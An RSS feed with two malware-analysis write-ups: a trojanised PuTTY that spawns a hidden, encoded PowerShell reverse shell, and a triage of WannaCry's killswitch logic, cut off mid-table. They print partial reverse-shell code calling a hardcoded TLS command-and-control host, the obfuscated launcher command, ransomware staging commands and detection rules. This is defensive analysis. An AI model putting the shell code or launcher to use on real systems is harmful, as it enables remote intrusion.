<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Coder Legion - Recent posts tagged analysis</title>
<link>https://coderlegion.com/tag/analysis</link>
<description>Powered by Question2Answer</description>
<item>
<title>A working PuTTY with a reverse shell bolted on</title>
<link>https://coderlegion.com/28268/a-working-putty-with-a-reverse-shell-bolted-on</link>
<description>&lt;h3 id=&quot;why-a-trojanised-utility-is-harder-to-catch-than-a-malicious-one-and-what-actually-gives-it-away&quot;&gt;Why a trojanised utility is harder to catch than a malicious one, and what actually gives it away&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Vasilis Mantas&lt;/strong&gt;, Threat Detection Engineer&lt;/p&gt;
&lt;hr&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; A functioning copy of PuTTY, modified to launch a hidden PowerShell process one second after the SSH client opens. The PowerShell command is base64 encoded and gzip compressed. Decoded, it is a reverse shell that connects over TLS to &lt;code&gt;bonus2.corporatebonusapplication.local&lt;/code&gt; on port 8443. The SSH client works normally throughout, which is the entire point.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The two samples I wrote up previously announced themselves. One deleted itself. The other encrypted the filesystem and put a ransom note on the desktop. This one does neither. It opens PuTTY, you SSH into whatever you were going to SSH into, and nothing appears to be wrong.&lt;/p&gt;
&lt;p&gt;That difference matters more than the technical sophistication, which is honestly not high. The payload here is a fairly standard PowerShell reverse shell of the kind that has been circulating for years. What makes it worth writing about is the delivery: a legitimate tool that still does its job, aimed at people who install SSH clients, which is to say administrators.&lt;/p&gt;
&lt;p&gt;As with the previous write-ups, this sample comes from a training set rather than a live incident.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;sample-details&quot;&gt;Sample details&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Property &lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;MD5 &lt;/td&gt;&lt;td&gt;&lt;code&gt;334a10500feb0f3444bf2e86ab2e76da&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;SHA-256 &lt;/td&gt;&lt;td&gt;&lt;code&gt;0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Imphash &lt;/td&gt;&lt;td&gt;&lt;code&gt;19C1DC3E60E2ECFC2C977BCB2019BBEF&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;File size &lt;/td&gt;&lt;td&gt;1,545,216 bytes (1.47 MB)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Architecture &lt;/td&gt;&lt;td&gt;32-bit, GUI subsystem&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Compiler timestamp &lt;/td&gt;&lt;td&gt;10 July 2021, 09:51:55 UTC&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Entropy &lt;/td&gt;&lt;td&gt;7.394&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;VirusTotal &lt;/td&gt;&lt;td&gt;50 / 68 vendors flagged at time of analysis&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Lab &lt;/td&gt;&lt;td&gt;FlareVM (detonation), REMnux (network simulation)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id=&quot;basic-static-analysis&quot;&gt;Basic static analysis&lt;/h3&gt;
&lt;p&gt;Hashes first, then VirusTotal. Fifty of sixty-eight engines flagged the file, which settles the question of whether it is worth looking at, though not much else.&lt;/p&gt;
&lt;p&gt;FLOSS produced a lot of output and very little signal. Over 41,000 strings, dominated by ordinary Windows API calls. There was nothing resembling a C2 address, no obvious command line, no encoded blob sitting in the clear. I spent longer on this than I should have before accepting that the interesting part was not going to be in the strings.&lt;/p&gt;
&lt;p&gt;PEStudio was more useful, mostly because of what it did not find.&lt;/p&gt;
&lt;p&gt;The manifest identity reads &lt;code&gt;PuTTY&lt;/code&gt;. The version resource names Simon Tatham. There is a URL pattern pointing to &lt;code&gt;https://www.chiark.greenend.org.uk/~sgtatham/putty/&lt;/code&gt;, which is the genuine PuTTY homepage. Everything about the file's identity says it is PuTTY, and that is because most of it is.&lt;/p&gt;
&lt;p&gt;A few things stood out anyway:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Indicator &lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Entropy &lt;/td&gt;&lt;td&gt;7.394, high enough to suggest compressed or packed data somewhere in the file&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Writable and executable section &lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Embedded file &lt;/td&gt;&lt;td&gt;Compiled HTML in &lt;code&gt;.rsrc&lt;/code&gt;, offset &lt;code&gt;0x00121F43&lt;/code&gt;, size 3,255 bytes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Checksum &lt;/td&gt;&lt;td&gt;Invalid. Expected &lt;code&gt;0x00180BA0&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Blacklisted strings &lt;/td&gt;&lt;td&gt;160&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Blacklisted functions &lt;/td&gt;&lt;td&gt;50&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The invalid checksum is the one I would call out to a junior analyst. A legitimately built and signed PuTTY release has a valid PE checksum. This one does not, because somebody modified the binary after it was compiled and did not bother to recalculate it. On its own that proves tampering, not malice, but combined with high entropy in a file this size it is enough to justify detonating.&lt;/p&gt;
&lt;p&gt;At this point the working hypothesis was simply that the file had been altered. I had no idea how yet.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;dynamic-analysis&quot;&gt;Dynamic analysis&lt;/h3&gt;
&lt;p&gt;The first detonation looked completely uneventful. PuTTY launched, the familiar configuration window appeared, and the application behaved exactly as expected. If I had run it once and moved on, I would have called it clean.&lt;/p&gt;
&lt;p&gt;On the third or fourth run I noticed a blue window flicker into existence and vanish, roughly a second after PuTTY started. It was on screen for a fraction of a second. This is worth dwelling on: the detection here came from running the sample repeatedly and watching the screen, not from any tool. Automated sandboxing would have caught the process creation, but a human clicking through once might not have caught anything at all.&lt;/p&gt;
&lt;p&gt;Procmon confirmed it. Filtering on &lt;code&gt;process name contains putty&lt;/code&gt; gave me PuTTY's PID, and filtering again on &lt;code&gt;ParentPID is &amp;lt;that PID&amp;gt;&lt;/code&gt; showed the child:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-console&quot;&gt;powershell.exe    Process Start    SUCCESS    Parent PID: 8096
powershell.exe    Load Image       C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PuTTY is an SSH client. It has no legitimate reason to spawn PowerShell, ever. That single parent and child relationship is the whole detection story, and I will come back to it.&lt;/p&gt;
&lt;p&gt;The command line was the payload:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;powershell.exe -nop -w hidden -noni -ep bypass
&quot;&amp;amp;([scriptblock]::create((New-Object System.IO.StreamReader(
New-Object System.IO.Compression.GzipStream(
New-Object System.IO.MemoryStream(,$([Convert]::FromBase64String('H4sIAOW...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Four flags before anything else happens. No profile, hidden window, no interactive prompt, execution policy bypassed. Each has a plausible individual use. Together, in one command line, they describe something that does not want to be seen or logged in the usual way.&lt;/p&gt;
&lt;p&gt;The structure that follows is base64 wrapped around gzip wrapped around a script block. The nesting is not clever, but it does mean the actual payload never appears as readable text in the process command line, which is where a lot of logging stops looking.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;decoding-the-payload&quot;&gt;Decoding the payload&lt;/h3&gt;
&lt;p&gt;Copying the base64 blob to REMnux and decoding it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;echo &quot;H4sIAOW/UWECA51W227jNhB991cMHUtIRbhdbAESLepVsGyD...&quot; | base64 -d &amp;gt; out
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result was a gzip archive, which extracted to a plain text PowerShell script. &lt;code&gt;H4sI&lt;/code&gt; at the start of a base64 string is the gzip magic number and is a reliable tell once you have seen it a few times.&lt;/p&gt;
&lt;p&gt;The script defines a function called &lt;code&gt;powerfun&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;function powerfun {
    Param(
        [String]$Command,
        [String]$Sslcon,
        [String]$Download
    )
    Process {
        $modules = @()
        if ($Command -eq &quot;bind&quot;) {
            $listener = [System.Net.Sockets.TcpListener]8443
            $listener.start()
            $client = $listener.AcceptTcpClient()
        }
        if ($Command -eq &quot;reverse&quot;) {
            $client = New-Object System.Net.Sockets.TCPClient(
                &quot;bonus2.corporatebonusapplication.local&quot;, 8443)
        }
        $stream = $client.GetStream()
        if ($Sslcon -eq &quot;true&quot;) {
            $sslStream = New-Object System.Net.Security.SslStream(
                $stream, $false, ({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
            $sslStream.AuthenticateAsClient(
                &quot;bonus2.corporatebonusapplication.local&quot;)
            $stream = $sslStream
        }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It supports both directions. In bind mode it listens on 8443 and waits for someone to connect. In reverse mode it dials out to a hardcoded host on the same port. Reverse is the mode that matters in a corporate network, since outbound connections generally succeed where inbound ones do not.&lt;/p&gt;
&lt;p&gt;The certificate validation callback is set to return true unconditionally. The channel is encrypted, but the client will accept any certificate at all, including a self-signed one generated on the attacker's machine that morning. That is a deliberate choice: TLS here is for hiding the traffic from inspection, not for authenticating anything.&lt;/p&gt;
&lt;p&gt;One detail I like about the hostname. &lt;code&gt;bonus2.corporatebonusapplication.local&lt;/code&gt; is not random-looking, and it is not trying to impersonate Microsoft or Google. It sounds like exactly the sort of dull internal application nobody questions. An analyst scanning a proxy log for suspicious domains is looking for something that stands out, and this does not.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;confirming-the-network-behaviour&quot;&gt;Confirming the network behaviour&lt;/h3&gt;
&lt;p&gt;With REMnux running inetsim as a fake DNS resolver, Wireshark showed the DNS query for &lt;code&gt;bonus2.corporatebonusapplication.local&lt;/code&gt;, followed immediately by a TCP connection attempt to port 8443. The connection was reset, since nothing was actually listening.&lt;/p&gt;
&lt;p&gt;To see what the shell would send, I added the hostname to the Windows &lt;code&gt;hosts&lt;/code&gt; file pointing at &lt;code&gt;127.0.0.1&lt;/code&gt; and started a listener:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;ncat -nvlp 8443
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The connection came in from &lt;code&gt;127.0.0.1:1052&lt;/code&gt;. The output was mostly unreadable binary, which is expected: this is the raw TLS Client Hello arriving at a plain TCP listener that does not speak TLS. Wireshark confirmed it as &lt;code&gt;TLSv1.2 Client Hello&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The handshake never completed, because I had no certificate to present. Fragments of readable text did come through, including the hostname and the string &lt;code&gt;whoami&lt;/code&gt;, which suggests the operator side sends an initial command as soon as the session opens.&lt;/p&gt;
&lt;p&gt;I could have gone further here by generating a self-signed certificate and using &lt;code&gt;openssl s_server&lt;/code&gt; or &lt;code&gt;ncat --ssl&lt;/code&gt; to complete the handshake and capture the full session. I did not, and I would do that differently next time. The behaviour was established well enough to write detections against, but seeing the actual command sequence would have been more useful.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;indicators-of-compromise&quot;&gt;Indicators of compromise&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Type &lt;/th&gt;&lt;th&gt;Indicator&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;SHA-256 &lt;/td&gt;&lt;td&gt;&lt;code&gt;0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;MD5 &lt;/td&gt;&lt;td&gt;&lt;code&gt;334a10500feb0f3444bf2e86ab2e76da&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Imphash &lt;/td&gt;&lt;td&gt;&lt;code&gt;19C1DC3E60E2ECFC2C977BCB2019BBEF&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Domain &lt;/td&gt;&lt;td&gt;&lt;code&gt;bonus2.corporatebonusapplication.local&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Port &lt;/td&gt;&lt;td&gt;TCP 8443, TLS with certificate validation disabled&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Process ancestry &lt;/td&gt;&lt;td&gt;&lt;code&gt;putty.exe&lt;/code&gt; spawning &lt;code&gt;powershell.exe&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Command line &lt;/td&gt;&lt;td&gt;&lt;code&gt;-nop -w hidden -noni -ep bypass&lt;/code&gt; with &lt;code&gt;FromBase64String&lt;/code&gt; and &lt;code&gt;GzipStream&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;PE anomaly &lt;/td&gt;&lt;td&gt;Invalid checksum on a file identifying itself as PuTTY&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id=&quot;mitre-att-amp-ck-mapping&quot;&gt;MITRE ATT&amp;amp;CK mapping&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Tactic &lt;/th&gt;&lt;th&gt;Technique&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Initial Access &lt;/td&gt;&lt;td&gt;T1195.002, Supply Chain Compromise: Compromise Software Supply Chain&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Execution &lt;/td&gt;&lt;td&gt;T1204.002, User Execution: Malicious File&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Execution &lt;/td&gt;&lt;td&gt;T1059.001, Command and Scripting Interpreter: PowerShell&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Defense Evasion &lt;/td&gt;&lt;td&gt;T1036.005, Masquerading: Match Legitimate Name or Location&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Defense Evasion &lt;/td&gt;&lt;td&gt;T1027, Obfuscated Files or Information&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Defense Evasion &lt;/td&gt;&lt;td&gt;T1140, Deobfuscate or Decode Files or Information&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Command and Control &lt;/td&gt;&lt;td&gt;T1573.002, Encrypted Channel: Asymmetric Cryptography&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Command and Control &lt;/td&gt;&lt;td&gt;T1571, Non-Standard Port&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id=&quot;detection-guidance&quot;&gt;Detection guidance&lt;/h3&gt;
&lt;p&gt;The hash is worthless the moment someone recompiles. The domain is worthless the moment it is published. Here is what survives.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Process ancestry is the strongest signal by a wide margin.&lt;/strong&gt; A GUI application spawning a command interpreter is anomalous in almost every case. PuTTY specifically has no legitimate reason to do it. You do not need to understand anything about the payload to catch this.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;title: SSH or Remote Access Client Spawning PowerShell
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  parent:
    ParentImage|endswith:
      - '\putty.exe'
      - '\kitty.exe'
      - '\winscp.exe'
      - '\mobaxterm.exe'
  child:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\cmd.exe'
      - '\wscript.exe'
  condition: parent and child
falsepositives:
  - Rare. Investigate every hit.
level: high
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Keep the parent list short and specific. The temptation is to expand it to every application on the estate, at which point the rule becomes a general anomaly detector and starts producing noise you will eventually mute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Encoded PowerShell in a command line.&lt;/strong&gt; The combination of &lt;code&gt;FromBase64String&lt;/code&gt; with &lt;code&gt;GzipStream&lt;/code&gt; or &lt;code&gt;DeflateStream&lt;/code&gt; is a strong pattern. Legitimate administrative scripting does occasionally base64 encode arguments, but it rarely also compresses them. Requiring both cuts the false positive rate substantially.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Suppressed PowerShell execution flags.&lt;/strong&gt; Alert on &lt;code&gt;-nop&lt;/code&gt; together with &lt;code&gt;-w hidden&lt;/code&gt; and &lt;code&gt;-ep bypass&lt;/code&gt; appearing in one command line. Any one alone is common. All three together is close to diagnostic, though some legitimate deployment tooling does use them, so check your own estate before enabling this in production.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Outbound TLS to 8443 from an unexpected process.&lt;/strong&gt; Port 8443 has legitimate uses, so do not alert on the port alone. Alert when the initiating process is a scripting host rather than a browser or a known application.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PE checksum validation on portable utilities.&lt;/strong&gt; This one is less common but worth considering if you have the telemetry. Administrators download standalone tools constantly, and a mismatch between a file's declared identity and its structural integrity is a cheap thing to check.&lt;/p&gt;
&lt;p&gt;All of the above needs testing against your own data before it goes anywhere near production. My false positive assumptions come from the environments I have worked in, not yours.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-i-would-take-from-this-one&quot;&gt;What I would take from this one&lt;/h3&gt;
&lt;p&gt;The delivery mechanism was more interesting than the payload, and I think that is generally true of trojanised utilities. Anyone can find a PowerShell reverse shell. Getting an administrator to run it voluntarily, repeatedly, with a working SSH client as cover, is the harder problem, and this sample solves it neatly.&lt;/p&gt;
&lt;p&gt;Repeated detonation caught what a single run missed. The PowerShell window was visible for well under a second. That is a genuine argument for detonating several times and watching, rather than executing once and going straight to the logs.&lt;/p&gt;
&lt;p&gt;The strings told me almost nothing, and that was itself informative. Over 41,000 strings and no payload visible in any of them meant the malicious component had to be encoded or compressed somewhere. The absence pointed at the answer, just not quickly.&lt;/p&gt;
&lt;p&gt;Finally, the sample identified itself as PuTTY in every field an analyst would normally check, and it was telling the truth about most of them. Provenance checks that rely on metadata are weak against this. The checksum and the process behaviour are what actually gave it away.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Written by Vasilis Mantas, Senior Threat Detection Engineer. Analysis performed in an isolated lab using FlareVM, REMnux, FLOSS, PEStudio, Procmon, Wireshark and ncat.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28268/a-working-putty-with-a-reverse-shell-bolted-on</guid>
<pubDate>Wed, 23 Sep 2026 05:45:25 +0000</pubDate>
</item>
<item>
<title>WannaCry, Reopened</title>
<link>https://coderlegion.com/28267/wannacry-reopened</link>
<description>&lt;h3 id=&quot;what-a-modern-triage-of-a-2017-ransomware-sample-teaches-about-killswitch-logic-and-staging-behaviour&quot;&gt;What a modern triage of a 2017 ransomware sample teaches about killswitch logic and staging behaviour&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Vasilis Mantas&lt;/strong&gt; — Threat Detection Engineer&lt;/p&gt;
&lt;hr&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; WannaCry checks a hardcoded URL before doing anything destructive. If the URL &lt;em&gt;responds&lt;/em&gt;, the sample exits without encrypting. If it cannot be reached, encryption proceeds. This inverted logic is the single most instructive thing in the binary, and it is easy to get backwards — including in a lab, where a network simulator that answers every request will silently prevent the malware from detonating at all.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;WannaCry has been analysed exhaustively since May 2017. This walkthrough is not an attempt to say something new about the campaign. It is a demonstration of triage method on a sample whose ground truth is already known, which makes it a useful benchmark: every conclusion below can be checked against the public record.&lt;/p&gt;
&lt;p&gt;The analysis was performed in an isolated lab with no route to the internet.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;surface-behaviour&quot;&gt;Surface behaviour&lt;/h3&gt;
&lt;p&gt;Detonating the sample produces the outcome the sample is famous for. Files across the system are renamed with a &lt;code&gt;.WNCRY&lt;/code&gt; extension, a ransom interface titled &lt;em&gt;Wana Decrypt0r 2.0&lt;/em&gt; appears demanding $600 in Bitcoin, and the desktop wallpaper is replaced with a plaintext version of the same message.&lt;/p&gt;
&lt;p&gt;A practical note for anyone running this in a lab: several FlareVM analysis tools become unusable after detonation, because their own files are encrypted along with everything else. Snapshot before, not after.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;basic-static-analysis-1&quot;&gt;Basic static analysis&lt;/h3&gt;
&lt;p&gt;Extracting strings with FLOSS, filtering short noise:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;FLOSS.exe -n 7 Ransomware.wannacry.exe.malz &amp;gt; outputstrings.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The DOS header string &lt;code&gt;!This program cannot be run in DOS mode.&lt;/code&gt; appears multiple times. A PE header appearing more than once inside a single file means embedded executables, and each occurrence is followed by a distinct set of DLL imports — a different API surface per embedded binary. PEStudio confirmed three packed binaries in total.&lt;/p&gt;
&lt;p&gt;The remaining strings are unusually generous:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;cmd.exe /c &quot;%s&quot;
115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
Global\MsWinZonesCacheCounterMutexA
tasksche.exe
TaskStart
icacls . /grant Everyone:F /T /C /Q
attrib +h .
C:\%s\qeriuwjhrf
C:\%s\%s
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three Bitcoin wallets, a named mutex, a dropped executable name, two format-string paths, and one conspicuously random-looking domain. The &lt;code&gt;icacls&lt;/code&gt; and &lt;code&gt;attrib&lt;/code&gt; commands grant everyone full control over a directory tree and hide it — staging behaviour, visible before a single instruction is executed.&lt;/p&gt;
&lt;p&gt;The import table reinforces the picture. &lt;code&gt;CryptGenRandom&lt;/code&gt; and &lt;code&gt;CryptAcquireContextA&lt;/code&gt; for key generation. A dense block of &lt;code&gt;ws2_32.dll&lt;/code&gt; socket functions — &lt;code&gt;socket&lt;/code&gt;, &lt;code&gt;connect&lt;/code&gt;, &lt;code&gt;send&lt;/code&gt;, &lt;code&gt;recv&lt;/code&gt;, &lt;code&gt;WSAStartup&lt;/code&gt; — alongside &lt;code&gt;GetAdaptersInfo&lt;/code&gt;, indicating network enumeration and self-propagation. &lt;code&gt;InternetOpenA&lt;/code&gt; and &lt;code&gt;InternetOpenUrlA&lt;/code&gt; from &lt;code&gt;wininet.dll&lt;/code&gt;, which turn out to matter more than anything else in the list.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;dynamic-analysis-and-a-lab-trap&quot;&gt;Dynamic analysis, and a lab trap&lt;/h3&gt;
&lt;p&gt;The second detonation was run with REMnux providing inetsim as a fake DNS resolver and HTTP responder. The sample did nothing. No encryption, no ransom note, no filesystem activity of consequence.&lt;/p&gt;
&lt;p&gt;That is not a broken sample. It is the killswitch working.&lt;/p&gt;
&lt;p&gt;When inetsim answers the request to &lt;code&gt;iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com&lt;/code&gt; with a 200 OK, WannaCry concludes the domain is live and exits. In the first detonation, with no simulator running, the request failed, the sample concluded the domain was unregistered, and it encrypted the filesystem.&lt;/p&gt;
&lt;p&gt;The consequence for analysts is worth stating directly. A generic network simulator that returns success for every request will suppress this sample's entire payload. An analyst who only ever detonates with full simulation would conclude the binary is inert.&lt;/p&gt;
&lt;p&gt;With the payload allowed to run, TCPView showed the propagation attempt: a large volume of TCP SYN packets to sequential and apparently random addresses on &lt;strong&gt;port 445&lt;/strong&gt;, the SMB service port — the sample scanning for further hosts to infect. A second listener appeared, &lt;code&gt;taskhsvc.exe&lt;/code&gt; bound to &lt;code&gt;127.0.0.1:9050&lt;/code&gt;, the Tor SOCKS port, providing the anonymised channel back to the operators.&lt;/p&gt;
&lt;p&gt;Procmon, filtered on the sample's process name and &lt;code&gt;CreateFile&lt;/code&gt;, showed the drop:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Ransomware.wan... → C:\Windows\tasksche.exe   SUCCESS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;followed in the process tree by &lt;code&gt;tasksche.exe&lt;/code&gt; executing with the argument &lt;code&gt;/i&lt;/code&gt;. Filtering again on the new PID revealed the staging directory:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;C:\ProgramData\dveqybpwqzws072\
    msg\                      TaskData\
    @Please_Read_Me@.txt      @WanaDecryptor@.exe
    00000000.eky              00000000.pky        00000000.res
    b.wnry  c.wnry  f.wnry  r.wnry  s.wnry  t.wnry  u.wnry
    taskdl.exe                taskse.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;C:\%s\%s&lt;/code&gt; format string from the strings output is now explained: the directory name is generated at runtime, which is why the folder is &lt;code&gt;dveqybpwqzws072&lt;/code&gt; here and something else elsewhere. A service is created bearing the same random name — the persistence mechanism.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;advanced-static-analysis&quot;&gt;Advanced static analysis&lt;/h3&gt;
&lt;p&gt;Loading the binary into Cutter and navigating to &lt;code&gt;main&lt;/code&gt; puts the killswitch logic on screen in a dozen instructions:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;0x0040814a   mov  esi, str.http:__www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
0x0040817b   call dword [InternetOpenA]
0x00408194   call dword [InternetOpenUrlA]
0x0040819a   mov  edi, eax
0x004081a3   test edi, edi
0x004081a5   jne  0x4081bc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The decompiler view is clearer still:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;eax = InternetOpenUrlA(esi, ecx, 0, 0, 0x84000000, 0);
edi = eax;
esi = *(InternetCloseHandle);
if (edi == 0) {
    (*esi)();
    (*esi)(0);
    eax = fcn_00408090();
    eax = 0;
    return eax;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;InternetOpenUrlA&lt;/code&gt; returns a handle, or NULL on failure. The handle lands in &lt;code&gt;edi&lt;/code&gt;, and &lt;code&gt;test edi, edi&lt;/code&gt; sets the zero flag only when the call failed.&lt;/p&gt;
&lt;p&gt;The branch is therefore: &lt;strong&gt;handle is NULL — the domain did not resolve — call &lt;code&gt;fcn_00408090&lt;/code&gt;, the encryption routine.&lt;/strong&gt; Handle is valid — the domain responded — close the handles, clean up the stack, return.&lt;/p&gt;
&lt;p&gt;The graph view makes the asymmetry obvious. One path is labelled normal execution and leads into the encryption function. The other is a short exit stub. The condition separating them is a single &lt;code&gt;test&lt;/code&gt; on the result of a web request.&lt;/p&gt;
&lt;p&gt;Registering that domain is what stopped the campaign in 2017. The disassembly above is the mechanism, in six instructions.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;indicators-of-compromise-1&quot;&gt;Indicators of compromise&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Type &lt;/th&gt;&lt;th&gt;Indicator&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Killswitch domain &lt;/td&gt;&lt;td&gt;&lt;code&gt;iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mutex &lt;/td&gt;&lt;td&gt;&lt;code&gt;Global\MsWinZonesCacheCounterMutexA&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
